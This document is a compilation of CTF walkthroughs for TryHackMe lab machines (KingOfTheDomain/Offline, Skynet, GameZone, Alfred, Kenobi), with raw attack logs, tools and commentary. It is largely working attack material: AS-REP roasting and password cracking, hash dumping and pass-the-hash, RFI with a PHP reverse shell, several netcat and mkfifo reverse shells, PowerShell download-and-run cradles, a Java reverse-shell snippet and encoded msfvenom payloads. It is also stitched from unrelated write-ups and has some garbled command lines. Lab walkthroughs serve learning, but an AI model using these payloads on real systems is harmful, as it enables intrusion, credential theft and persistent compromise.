Domain Sid: S-1-5-21-2684872673-4160438805-3138582355
[*] Moving on to extract via RID cycling attack.. 
[*] Enumerating user accounts.. This could take a little while.
Account name: KingOfTheDomain\Administrator
Account name: KingOfTheDomain\Guest
Account name: KingOfTheDomain\krbtgt
Account name: KingOfTheDomain\OFFLINE$
Account name: KingOfTheDomain\mykull
Account name: KingOfTheDomain\poki
Account name: KingOfTheDomain\lily
Account name: KingOfTheDomain\toast
Account name: KingOfTheDomain\scarra
Account name: KingOfTheDomain\yvonne
Account name: KingOfTheDomain\fed
Account name: KingOfTheDomain\SVC_ROBOTARMY
[*] RIDENUM has finished enumerating user accounts...

.

root@kali:~/thm/offline# rpcclient -U "lily" 10.10.227.210
Enter WORKGROUP\lily's password: 
rpcclient $> lsaquery
Domain Name: KingOfTheDomain
Domain Sid: S-1-5-21-2684872673-4160438805-3138582355
rpcclient $> queryuser mykull
User Name : mykull
Full Name : Mykull Reeves
Home Drive : 
Dir Drive : 
Profile Path: 
Logon Script: 
Description : NightmareNightmareNightmareNightmare
Workstations: 
Comment : 
Remote Dial :
Logon Time : Thu, 28 May 2020 04:35:17 EDT
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 21:48:05 EST
Password last set Time : Sun, 05 Apr 2020 20:03:40 EDT
Password can change Time : Mon, 06 Apr 2020 20:03:40 EDT
Password must change Time: Wed, 13 Sep 30828 21:48:05 EST
unknown_2[0..31]...
user_rid : 0x452
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x000000c4
padding1[0..7]...
logon_hrs[0..21]...
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[mykull] rid:[0x452]
user:[poki] rid:[0x453]
user:[lily] rid:[0x454]
user:[toast] rid:[0x455]
user:[scarra] rid:[0x456]
user:[yvonne] rid:[0x457]
user:[fed] rid:[0x458]
user:[SVC_ROBOTARMY] rid:[0x459]




 

 

C:\Users\Administrator\king-server>net user /add puckie Style! net user /add puckie Style! The command completed successfully. C:\Users\Administrator\king-server>net localgroup administrators puckie /add net localgroup administrators puckie /add The command completed successfully.

root@kali:/opt/git clone https://github.com/Hackplayers/evil-winrm.git
root@kali:/opt/evil-winrm# gem install winrm-fs
Fetching: rubyzip-2.3.0.gem (100%)
Successfully installed rubyzip-2.3.0
Fetching: winrm-fs-1.3.4.gem (100%)
Successfully installed winrm-fs-1.3.4
Parsing documentation for rubyzip-2.3.0
Installing ri documentation for rubyzip-2.3.0
Parsing documentation for winrm-fs-1.3.4
Installing ri documentation for winrm-fs-1.3.4
Done installing documentation for rubyzip, winrm-fs after 2 seconds
2 gems installed
root@kali:/opt/evil-winrm# ./evil-winrm.rb -i 10.10.148.6 -u puckie -p 'Style!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\puckie\Documents> whoami
kingofthedomain\puckie

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i 10.10.148.6 -u puckie -p 'Style!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\puckie\Documents> upload pwdump8.exe
Info: Uploading pwdump8.exe to C:\Users\puckie\Documents\pwdump8.exe


Data: 1479336 bytes of 1479336 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\puckie\Documents> ./pwdump8.exe

PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it

Administrator:500:AAD3[redacted]04EE:E6E9[redacted]91B7
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

*Evil-WinRM* PS C:\Users\puckie\Documents>
E:\OSCP>psexecimpacket.exe -hashes AAD3[redacted]04EE:E6E9[redacted]91B7 administrator@10.10.144.236
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.144.236.....
[*] Found writable share ADMIN$
[*] Uploading file bgMvCpRw.exe
[*] Opening SVCManager on 10.10.144.236.....
[*] Creating service yUne on 10.10.144.236.....
[*] Starting service yUne.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
Offline
C:\Windows\system32>mkdir puck
C:\Windows\system32>certutil -urlcache -split -f http://10.11.3.122/pwdump8.exe C:\puck\pwdump8.exe

.
c:\Python37>kerbrute_windows_amd64.exe userenum --dc offline.kingofthe.domain -d kingofthe.domain usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 05/22/20 - Ronnie Flathers @ropnop

2020/05/22 16:02:50 >  Using KDC(s):
2020/05/22 16:02:50 >   offline.kingofthe.domain:88
2020/05/22 16:02:50 >  [+] VALID USERNAME:       mykull@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       toast@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       administrator@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       puckie@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       guest@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       poki@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       scarra@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       lily@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       yvonne@kingofthe.domain
2020/05/22 16:02:50 >  Done! Tested 9 usernames (9 valid) in 0.083 seconds
.
.

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i 10.10.170.52 -u toast -p 'IsItHotInHere,OrIsItJustMe'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\toast\Documents> cd..
*Evil-WinRM* PS C:\Users\toast> type flag.txt
THM{4F2900F2FDFAF3F77BD599391218F49F}
*Evil-WinRM* PS C:\Users\toast>
root@kali:~/thm/offline# GetNPUsers.py -dc-ip 10.10.236.199 kingofthe.domain/ -usersfile users.txt
Impacket v0.9.22.dev1+20200428.191254.96c7a512 - Copyright 2020 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fed doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$lily@KINGOFTHE.DOMAIN:0280f7ba2754b86093c7af807cc3ca86$ff461b2637c7a743c511fde3222bbcb863421513f439504ff292f514e805f2db86796baca3cc9f61f6e5fe1cab686721130d3e056fb4097a2ef2b63e8d6563fb2c22f8b4ac1b5419c9cb5aa5fd0399cec84039a9d63a5feb8d78cc30195ea2857667fad2bb7c4f8c86c58d2ec84d4aaa71994374a2be303793b69648a96ca47edf3ac0af6c9e42244b36e2ef946ed5ac904acbfec7e7ea61471d335fb77b421b1a6d38a754e88121a8fd159ca9723d54b79b8c1213d7e22339c8553e90d3c5cf0d077aaf3c19d75753e0cd9745ef7c7de6dc981df0805eeef9fa627c6589c2bbd48ad8c7b9a51e07ce1c5e8d3adf59622cd5b2fb
[-] User poki doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User scarra doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User toast doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User yvonne doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
E:\PENTEST\hashcat>hashcat32.exe -m 18200 -a 0 -w 3 kingofthedomain.hash e:\pentest\hashcat\rockyou.txt --force
hashcat (v5.1.0) starting...

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) HD Graphics 610, 819/1638 MB allocatable, 12MCU
* Device #2: Intel(R) Pentium(R) CPU 4415U @ 2.30GHz, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Dictionary cache built:
* Filename..: e:\pentest\hashcat\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 10 secs

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$lily@KINGOFTHE.DOMAIN:0280f7ba2754b86...d5b2fb
Time.Started.....: Thu May 21 13:34:57 2020 (8 secs)
Time.Estimated...: Thu May 21 13:35:31 2020 (26 secs)
Guess.Base.......: File (e:\pentest\hashcat\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 415.6 kH/s (91.29ms) @ Accel:64 Loops:1 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 3391488/14344384 (23.64%)
Rejected.........: 0/3391488 (0.00%)
Restore.Point....: 3391488/14344384 (23.64%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: taz1997 -> taladascercal

$krb5asrep$23$lily@KINGOFTHE.DOMAIN:0280f7ba2754b86093c7af807cc3ca86$ff461b2637c7a743c511fde3222bbcb863421513f439504ff292f514e805f2db86796baca3cc9f61f6e5fe1cab686721130d3e056fb4097a2ef2b63e8d6563fb2c22f8b4ac1b5419c9cb5aa5fd0399cec84039a9d63a5feb8d78cc30195ea2857667fad2bb7c4f8c86c58d2ec84d4aaa71994374a2be303793b69648a96ca47edf3ac0af6c9e42244b36e2ef946ed5ac904acbfec7e7ea61471d335fb77b421b1a6d38a754e88121a8fd159ca9723d54b79b8c1213d7e22339c8553e90d3c5cf0d077aaf3c19d75753e0cd9745ef7c7de6dc981df0805eeef9fa627c6589c2bbd48ad8c7b9a51e07ce1c5e8d3adf59622cd5b2fb:lolily

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$lily@KINGOFTHE.DOMAIN:0280f7ba2754b86...d5b2fb
Time.Started.....: Thu May 21 13:34:57 2020 (15 secs)
Time.Estimated...: Thu May 21 13:35:12 2020 (0 secs)
Guess.Base.......: File (e:\pentest\hashcat\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 414.3 kH/s (91.35ms) @ Accel:64 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 6144000/14344384 (42.83%)
Rejected.........: 0/6144000 (0.00%)
Restore.Point....: 6094848/14344384 (42.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: lookie123 -> lizyjeancarlos

Started: Thu May 21 13:34:42 2020
Stopped: Thu May 21 13:35:14 2020

E:\PENTEST\hashcat>
or we use john

E:\john-1.9.0-jumbo-1-win64\run>john.exe kingofthedomain.hash -wordlist=e:\pentest\hashcat\rockyou.txt
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE4.1 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:07 24.27% (ETA: 13:53:30) 0g/s 489115p/s 489115c/s 489115C/s snickers47..snezzticle
lolily ($krb5asrep$23$lily@KINGOFTHE.DOMAIN)
1g 0:00:00:12 DONE (2020-05-21 13:53) 0.08112g/s 495344p/s 495344c/s 495344C/s lolita11311813..lolih8jews
Use the "--show" option to display all of the cracked passwords reliably
Session completed

E:\john-1.9.0-jumbo-1-win64\run>type john.pot
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm:spiderman123
$krb5asrep$23$0280f7ba2754b86093c7af807cc3ca86$ff461b2637c7a743c511fde3222bbcb863421513f439504ff292f514e805f2db86796baca3cc9f61f6e5fe1cab686721130d3e056fb4097a2ef2b63e8d6563fb2c22f8b4ac1b5419c9cb5aa5fd0399cec84039a9d63a5feb8d78cc30195ea2857667fad2bb7c4f8c86c58d2ec84d4aaa71994374a2be303793b69648a96ca47edf3ac0af6c9e42244b36e2ef946ed5ac904acbfec7e7ea61471d335fb77b421b1a6d38a754e88121a8fd159ca9723d54b79b8c1213d7e22339c8553e90d3c5cf0d077aaf3c19d75753e0cd9745ef7c7de6dc981df0805eeef9fa627c6589c2bbd48ad8c7b9a51e07ce1c5e8d3adf59622cd5b2fb:lolily
root@kali:/opt/evil-winrm# ./evil-winrm.rb -i 10.10.236.199 -u lily -p 'lolily' Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\lily\Documents> cd .. *Evil-WinRM* PS C:\Users\lily> type flag.txt THM{89F288757F4D0693C99B007855FC075E} *Evil-WinRM* PS C:\Users\lily> whoami kingofthedomain\lily
Author: Jacco Straathof

thm-skynet-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called skynet at

https://tryhackme.com/room/skynet

This room starts to move away from the guided path and has far fewer flags, but it retains more than just a two-task approach to keep the person thinking about the types of vulnerability. I’m thinking it might be cool to ask defensive questions as well (something I might add into my room I’m building).

Well we don’t have time to waste, the machines might rise up and judgement day occur so let’s get pwning!

Enumeration

We start off with a full tcp scan as shown:

nmap -sS -O -sV -sC -A -T4 -Pn -p- -vvv -oA skynet 10.10.206.187

Services

We find a range of common services on this IP:

  • IMAP
  • POP3
  • SMB
  • HTTP (80)
  • RPC

Observations

There are things we start to notice straight off the bat! This server is leaking a lot of intel!

  • Username disclosed (milesdyson)
  • Weak password policy
  • Suspectable to brute force (no account lockout)

SMB Services

Well SMB is exposed so we start hitting this with a brute force attack! It’s not impossible to get a hit but whilst this is running, we can go and explore other areas. I’ve used msf but you could easily use hydra or nmap to perform this attack (or write a custom script if that makes you happy!)

smbclient -L 10.10.206.187

Now we also noticed an anon access share:

//10.10.206.187/anonymous

Let’s explore that!

Using smbget we found a log file with a what looks it contains a list of passwords.

We poke about here for a while the books seem like they are rabbit holes!

HTTP Services

When multiple services are exposed it’s important to leave no stone unturned! You never know what service might contain a vulnerability that can be exploited and until you try you won’t know!

We run a whole range of web discovery, including forced browsing using dirbuster (again you could use BURP PRO content discovery or gobuster or other tools!)

I used dirbuster on the HTTP Service on TCP 80 and found a webmail login

http://10.10.206.187/squirrelmail

Now we know we have a username and we found what looks like a list of passowords! Using BURP I ran an intruder attack to identify the following credentials:

User:milesdyson

Password:cyborg007haloterminator

Hacker Voice: “I’m in”

In the email we search around and discovery that we have the following:

A password reset email that sends credentials in an insecure manner! Easy money (haha I coulnd’t write this without some T2 quotes in!)

SMB I’ll be back

A likely target for these creds is the home folder we found earlier, again I use msf but you could use the other tools (smbclient etc.)! We run an SMB Login check

SMB USER: milesdyson

Password: )s{A&2Z=F^n_E.B`

Now we have SMB Creds

We can see the creds are valid!

Now let’s see what secrets we can find in the home foler!

smbclient -L 10.10.206.187 -U //SKYNET/milesdyson

smbclient //10.10.206.187/milesdyson -U “milesdyson”
)s{A&2Z=F^n_E.B`

smbget smb://10.10.206.187/milesdyson -U “milesdyson” -R

In the files there is an important.txt

It leaks a CMS directory path

http://10.10.206.187/45kra24zxs28v3yd/administrator/

Using google we find that there is an RFI vulnerability in this app

https://www.exploit-db.com/exploits/25971

Browse to this path then base64 decode

http://10.10.206.187/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

Since this is an RFI we can host a webshell and get the server to connect to us and spawn a shell.

For this we will need:

  • An http listener (python)
  • A php reverse shell
  • A netcat listener

Copy a php reverse shell and edit the params (IP and PORT)

So, here’s our listener

And finally our python http server

Now we need to build our RFI payload:

http://10.10.206.187/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.20.85/shell.php

Now we have the user flag!

Marching On

Let’s upgrade our shell using python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

On our attacker machine let’s get some enumeration tools:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

On the target:
cd /tmpwget http://10.8.20.85:80/LinEnum.sh

Now make this executable

chmod +x LinEnum.sh

A scheduled task too far

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

cat /etc/cron*

There is a root cron job which affects the userland file system (/home/milesdyson/backups)

Let’s send the enum output to the attacker:

Attacker
Setup a nc listener and output the contents to a file
nc -l -p 999 -q 1 > linenum.txt < /dev/null
Victim
Send the file to the server
cat enum.txt-28-01-20 | nc 10.8.20.85 999| nc 10.8.20.85 999

Setup a listener

nc -nlvp 1337

Spawn a bash shell back to the attacker:

nc -e /bin/sh 10.8.20.85 1337

Now the backup script has the following:

#!/bin/bashcd /var/www/html

tar cf /home/milesdyson/backups/backup.tgz *

Exploit

https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/

This script is vulnerable to attack!

Victim in the tmp folder
cd /var/www/htmlecho “rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.8.20.85 1337 >/tmp/r” > shell.sh

touch “/var/www/html/–checkpoint-action=exec=sh shell.sh”

touch “/var/www/html/–checkpoint=1”

chmod +x shell.sh

cd /var/www

chmod 777 html

And we have the root flag! After you finish your r00t dance remember to explore the target, steal anything of use and dump creds etc.

Box Summary

This box was a nice path and show’s off a range of vulnerabilities:

  • Sensitive Information Disclosure
    • Usernames
  • Weak Credential Storage
    • Passwords in anonymous share
  • Weak Authentication
    • Lack of account lockout policy and weak password requirements
  • Vulnerable Software
    • Vulnerable Unpatched CMS
  • Insecure Configuration
    • CRON jobs running as root using userland writeable assets

I like the mixture of guided and unguided rooms, it provides opportunities to showcase techniques and helps people learn whilst providing a safe space for people to explore.

thm-gamezone-nl

 

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called gamezone at

https://tryhackme.com/room/gamezone

This is a fun room where we see an old but common vulnerability in untrusted user input lead to sensitive information disclosure (hashed credentials) which results in a threat actor gaining initial access. From here we then discover there is a weak security configuration (in effective network segmentation) and a vulnerable unpatched service. This chain leads to total system compromise.

Common Security Testing Approaches and Their Limitations

I wanted to point something important at this stage in this process of writing things up. What you are reading is a condensed version of events and the output you are seeing does not include anywhere near what you would want to know about the configuration and view of a system. If you will this is a view on what was used to exploit, it doesn’t go through every vulnerability. Why is this important? Well when you do security management and assurance you need to understand what activities produce which output and what you need as a business service owner or from an operational perspective. A vulnerability assessment and penetration test produce different out, they also both have limitations, so please when operating services for your business please consider that doing a single external penetration test once a year really isn’t a good acid test for your overall business security posture!

I’m going in!

That being said, let’s move onto the ‘fun’ part 😉

We begin by running common network-based (nmap) scans from an unauthenticated perspective

We identify a web service on TCP 80, so let’s grab a browser and let’s take a look around!

Let’s identify some injection points, we can do this both manually and with the aid of tools like BURP suite! Injection points include the following:

  • Input fields such as login and search forms
  • HTTP Request Parameters and Data
  • Cookie strings
  • User Agent Strings

We can see these in BURP:

Notice for this box I’ve switched to community edition. This is just to show that whilst having tools is great, it’s important to know what they do! I continue to use the site in a legitimate fashion (you don’t need to start throwing attacks at a site you don’t understand)

Now we can run nikto and I’d also suggest we run WAFW00F as a matter of practise!

NIKTO

We also will want to run a forced browse using Gobuster or Dirbuster

Injection Testing

For injection testing we will want to test for:

  • LFI
  • RFI
  • SQLI

SQLi Testing

Username: admin and injection: ‘ or 1=1 — –

SQL Injection Tests

Username: ‘ or 1=1 — –

If we search for a blank string we get the following:

We are now going to attack this search field with SQLMAP

Navigate to burp and save the item of the request we sent to the search filed (after we bypassed authentication)

We can now use this with SQLMAP (it contains the auth cookie)

(note you can add way more parameters to this). Without the additional parameters once SQLMAP finds the vulnerable parameter it will record this:

We can run this again with an additional switch:

SQLMAP is now trying to dump some hashes:

It was unable to crack the password but…

We can now try and crack this with John the Ripper or HashCat

Copy the hashes from tmp

Let’s unzip rockyou

Now let’s run John

john –wordlist=/usr/share/wordlists/rockyou.txt hashes –format=RAW-SHA256

videogamer124 (agent47)

Privilege Escalation

Now we have a valid set of credentials we can try these with the SSH service (and other services that are exposed)

We can now obtain the user hash!

View local Services

netstat -antup

We can also check this with:

ss -tulpn

ssh -L 10000:localhost:10000 agent47@10.10.98.213

(agent47: videogamer124)

We can see “Webmin” on this local port

http://www.webmin.com/

We used the agent47 credentials.

Now we can launch the exploits!

agent47: videogamer124

We can now crack the HASH.

The shadow file has multiple hashes so we want to trim this to just the hash we want (root)

We can then use john or Hashcat

.\hashcat64.exe -m 1800 -a 0 .\shadow .\rockyou.txt

While that is running, we can try the other exploit:

We now have a root shell! Again, we might not end here, we may now install persistence and hunt for more data and additional artefacts such as hashes etc.

.

 

thm-alfred-nl

 

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called Alfred at

https://tryhackme.com/room/alfred

Tasks

Title

Alfred

IP Address

10.10.0.173

In this room, we’ll learn how to exploit a common misconfiguration on a widely used automation server(Jenkins – This tool is used to create continuous integration/continuous development pipelines that allow developers to automatically deploy their code once they made change to it). After which, we’ll use an interesting privilege escalation method to get full system access.

Since this is a Windows application, we’ll be using Nishang to gain initial access. The repository contains a useful set of scripts for initial access, enumeration and privilege escalation. In this case, we’ll be using the reverse shell scripts

note : add as last line to Invoke-PowerShellTcp.ps1 script for auto execution

Invoke-PowerShellTcp -Reverse -IPAddress 10.11.3.122 -Port 9001

Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.


#1 How many ports are open?
#2 What is the username and password for the log in panel(in the format username:password)
#3 Find a feature of the tool that allows you to execute commands on the underlying system. When you find this feature, you can use this command to get the reverse shell on your machine and then run it:

powershell -Command “(New-Object System.Net.WebClient).DownloadFile(‘http://10.11.3.122/nc.exe’,’nc.exe’)”; Start-Process nc.exe -NoNewWindow -Argumentlist ‘10.11.3.122 9001 -e cmd.exe’

powershell iex (New-Object Net.WebClient).DownloadString(‘http://10.11.3.122/Invoke-PowerShellTcp.ps1’)

You first need to download the Powershell script, and make it available for the server to download. You can do this by creating a http server with python: python3 -m http.server

#4 What is the user.txt flag?
String host="10.11.1.122";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Microsoft Windows [Version 10.0.18362.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>e:
E:\>nc -nlvp 8044
listening on [any] 8044 ...
connect to [10.11.3.122] from (UNKNOWN) [10.10.18.2] 49206
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Jenkins>whoami
whoami
alfred\bruce

C:\Program Files (x86)\Jenkins>

Enumeration

The first thing we notice is that the server doesn’t respond to ping. I’ve noticed some boxes (rooms) on the platform can take a fair few minutes to boot and have the services loaded so this isn’t a perfect test, but in this instance we can get comms on other TCP ports so likely this is a Windows server with ICMP responses disabled on the host based firewall (a default with Windows 10 I believe!)

ping 10.10.119.245

Basic Nmap Top 1000 Scan

nmap -Pn 10.10.119.245

FULL TCP Scan

nmap -sS -T4 -O -A -vvv -Pn -oA nmap -p- 10.10.119.245

Problems with scan results so I switched to -sT

nmap -sT -T4 -O -A -vvv -Pn -oA nmap1 -p- 10.10.119.245

Exposed Services Overview

TCP 80 Web Server

Sensitive data disclosure:

alfred@wayneenterprises.com

TCP 8080 HTTP Server running Jenkins

The default creds for Jenkins are admin:password

https://docs.openshift.com/container-platform/3.3/using_images/other_images/jenkins.html

However here we can see that default creds are not in use!

So, we capture a login in BURP to prepare for other vectors!

And we send to intruder yet whilst doing this I decided to be cheeky in the browser and just send admin:admin manually…. And guess what! The creds are: admin:admin! A lucky shot with a manual attack but hey, some of this game is art more than science! (I didn’t even get to run intruder,boo! :D)

Running Commands on a Jenkins Server

My first route looking into Jenkins (I don’t remember using this IRL or in a CTF before, but my memory is shocking sometimes so who knows!) the fist feature I looked at was Jenkins script console!

http://10.10.119.245:8080/script

I couldn’t quickly work out how to use this console to went hunting for other avenues (I tried a few things but I felt like I would need to whitebox this to really understand it and I wasn’t in the mood to deploy a new server) so I went hunting for other potential vectors! Luckily in Jenkins the projects BUILD area enables to you execute code! Woohoo! Let’s abuse that built in functionality

We are going to need a reverse shell so we setup a web server with a Nishang shell on TCP 80

Setup a web server

python3 -m http.server 80

Setup a NC Listener

nc -nlvp 1337

Configure Jenkins Project Build Action

powershell iex (New-Object Net.WebClient).DownloadString(‘http://10.8.20.85:80/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 10.8.20.85 -Port 1337

Build the project: click BUILD NOW

Get a shell!

Here can output the user flag file contents!

Upgrading our shell!

Our current shell works but isn’t great so lets’ see if we can upgrade to an meterpreter shell!

Create an Meterpreter Shell using msfvenom! Note we are going to want to encode this to attempt to evade any security products (pro tip: hunt for those before using the limited shell before hand!)

msfvenom –platform windows -p windows/meterpreter/reverse_tcp –encoder x86/shikata_ga_nai LHOST=10.8.20.85 LPORT=3117 -a x86 -f exe -i 3 -o shell.exe

#create a windows payload and web service#create a listener

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.8.20.85

set LPORT 3117

set EXITONSESSION false

exploit -j

#on the jenkinds build page

powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.8.20.85:80/shell.exe’,’shell1.exe’)”

#second task

powershell -noprofile -command “Start-Process ‘C:\Program Files (x86)\Jenkins\workspace\project\shell1.exe’”

Now this all looks great! But I wasn’t able to use this shell! I tried and tried and tried and eventually got fed up (again I didn’t want to whitebox this) so what to do! Well I would probably not have used this shell type IRL as standard, I would have launched something into a C2 framework such as POSH C2 or Covenant! For this I decided to use a covenant shell!

(please note I did try following the guided path for this box I the room but I found the command syntax had errors and I couldn’t get the intended route working!)

Covenant C2

Since I first reviewed Covenant there have been major changes and it’s now simply an awesome platform!

https://github.com/cobbr/Covenant

I suggest if you want to understand more about offensive operations, that you look at this and other c2 frameworks!

I’m not going to go into detail about deployment and setup (that’s a learning experience for you! Though I’m sure I’ll blog that separately soon!) so you will need to go and explore on your own or find some guidance on the web! For now I’m going to simply setup a listener and build a launcher, the PSH net core 35 payload works with Jenkins

Run the build

Once we have configured everything we execute the build task and our GRUNT connects back! In Covenant you can now dump creds (LSA Secrets) using the mimikatz module!

You will need to elevate to system and use the covenant mimikatz module one of the SAM hashes is blank (the building administrator account) the other hash would need cracking.

We are able to dump clear text credentials from the box. We could now use these in a variety of ways! I used RDP amongst others but I really wanted to see if I could get a meterpreter shell to complete the box as per the TASK list (the intended route as it were!)

Meterpreter

I got a meterpreter shell running, and attempted to dump tokens so that I could impersonate!

If we launch the shell as ‘Administrator’ /High Integrity

Author – Puckiestyle

 

thm-kenobi-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play  Tryhackme’s kenobi at

https://tryhackme.com/room/kenobi

 

Enumeration

NMAP

To start with we are going to perform some basic enumeration using nmap!

nmap -sS -p- -vvv -O -A -T4 -sC -sV -oA kenobi 10.10.87.63

Here we notice that there are a range of services open including:

  • SMB
  • HTTP
  • SSH

Now that we have identified the services, we also have looked at the verisons etc. to try and identify if they have any known vulnerabilities.

SMB Enumerate

Seeing TCP 445 open raises a red flag, so we head here and look to enumerate further!

nmap -sS -p 445 -vvv -O -A -T4 -sC -sV -oA kenobi-smb –script=smb-enum-shares.nse,smb-enum-users.nse 10.10.87.63

We notice from this scan a share is accessible using a NULL auth.

SMBCLient Connect to Share

smbclient //10.10.87.63/anonymous

Press ENTER for a NULL password

Download Share

Now that we can see the share, we can see that there is content in the anonymous share! Let’s go ahead and use the smbget command to download this so that we can analyse it from our attacker machine.

smbget -R smb://10.10.87.63/anonymous

cat log.txt

RPC Enumeration

nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount 10.10.87.63

ProFTPD 1.3.5

We can see another service running on the host is PROFTPD. We can look here to see if there are any known vulnerabilities in this product (and specifically this version)

https://www.cvedetails.com/vulnerability-list/vendor_id-9520/product_id-16873/Proftpd-Proftpd.html

We also use searchsploit to search for the product name and specifically the version (It’s a good practise to search for a few combos)

